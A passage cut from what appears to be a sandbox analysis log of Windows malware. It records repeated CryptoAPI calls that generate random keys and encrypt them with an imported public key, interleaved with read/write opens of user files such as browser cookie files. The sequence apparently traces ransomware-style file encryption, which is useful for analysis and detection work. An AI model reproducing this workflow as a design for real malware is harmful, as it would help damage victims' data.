returned 1 [0175.762] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.762] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.763] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.764] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.764] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.764] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.767] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656518) returned 1 [0175.767] CryptGetKeyParam (in: hKey=0x3656518, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.767] CryptEncrypt (in: hKey=0x3656518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4e40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.767] GetLastError () returned 0x0 [0175.767] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.767] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.769] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36562d8) returned 1 [0175.769] CryptGetKeyParam (in: hKey=0x36562d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.769] CryptEncrypt (in: hKey=0x36562d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4e50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.769] GetLastError () returned 0x0 [0175.769] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.769] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y3XU5OKR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y3xu5okr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.770] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.772] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.772] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.773] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.773] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.773] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.775] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3655f58) returned 1 [0175.775] CryptGetKeyParam (in: hKey=0x3655f58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.775] CryptEncrypt (in: hKey=0x3655f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4e60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.775] GetLastError () returned 0x0 [0175.775] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.775] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.777] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3656098) returned 1 [0175.777] CryptGetKeyParam (in: hKey=0x3656098, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.777] CryptEncrypt (in: hKey=0x3656098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4e70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.777] GetLastError () returned 0x0 [0175.777] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.777] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\OOUVZSZN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\oouvzszn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.778] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0175.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.779] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.779] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.779] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.781] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.781] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.781] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0175.783] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3655fd8) returned 1 [0175.783] CryptGetKeyParam (in: hKey=0x3655fd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.783] CryptEncrypt (in: hKey=0x3655fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4e80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.783] GetLastError () returned 0x0 [0175.783] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.783] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.785] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3656298) returned 1 [0175.785] CryptGetKeyParam (in: hKey=0x3656298, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.785] CryptEncrypt (in: hKey=0x3656298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4e90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.785] GetLastError () returned 0x0 [0175.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.785] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\TIGZFGLM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\tigzfglm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.786] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0175.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.787] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.787] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.787] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.787] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0175.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.789] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.789] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.789] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.789] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.791] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3656318) returned 1 [0175.791] CryptGetKeyParam (in: hKey=0x3656318, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.791] CryptEncrypt (in: hKey=0x3656318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ea0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4ea0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.791] GetLastError () returned 0x0 [0175.791] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.791] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.793] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3656398) returned 1 [0175.793] CryptGetKeyParam (in: hKey=0x3656398, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.793] CryptEncrypt (in: hKey=0x3656398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4eb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4eb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.793] GetLastError () returned 0x0 [0175.793] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.793] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\XNW1G0SM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\xnw1g0sm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.793] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.795] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.795] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.795] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.797] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.797] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.797] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.800] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x36564d8) returned 1 [0175.800] CryptGetKeyParam (in: hKey=0x36564d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.800] CryptEncrypt (in: hKey=0x36564d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ec0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x4ec0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.800] GetLastError () returned 0x0 [0175.800] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.800] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.802] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654c98) returned 1 [0175.802] CryptGetKeyParam (in: hKey=0x3654c98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.802] CryptEncrypt (in: hKey=0x3654c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ed0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x4ed0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.802] GetLastError () returned 0x0 [0175.802] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.803] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Z3FJF3OM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\z3fjf3om.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.803] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0175.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.805] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.805] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.805] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.805] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0175.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.807] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.807] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.807] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.809] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654b58) returned 1 [0175.809] CryptGetKeyParam (in: hKey=0x3654b58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.809] CryptEncrypt (in: hKey=0x3654b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x50e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x50e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.809] GetLastError () returned 0x0 [0175.809] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.809] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.811] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654618) returned 1 [0175.811] CryptGetKeyParam (in: hKey=0x3654618, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.811] CryptEncrypt (in: hKey=0x3654618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x50f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x50f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.811] GetLastError () returned 0x0 [0175.811] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.811] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.843] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.845] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.845] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.845] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.847] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.847] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.847] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.849] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654c18) returned 1 [0175.849] CryptGetKeyParam (in: hKey=0x3654c18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.849] CryptEncrypt (in: hKey=0x3654c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5100000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5100000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.849] GetLastError () returned 0x0 [0175.849] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.849] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0175.851] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654a18) returned 1 [0175.851] CryptGetKeyParam (in: hKey=0x3654a18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.851] CryptEncrypt (in: hKey=0x3654a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5110000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5110000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.851] GetLastError () returned 0x0 [0175.851] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.854] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0175.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.856] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0175.856] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.856] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0175.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.858] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0175.858] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.858] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0175.860] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3654ad8) returned 1 [0175.860] CryptGetKeyParam (in: hKey=0x3654ad8, dwParam=0x8, pbData=0x285d21c, 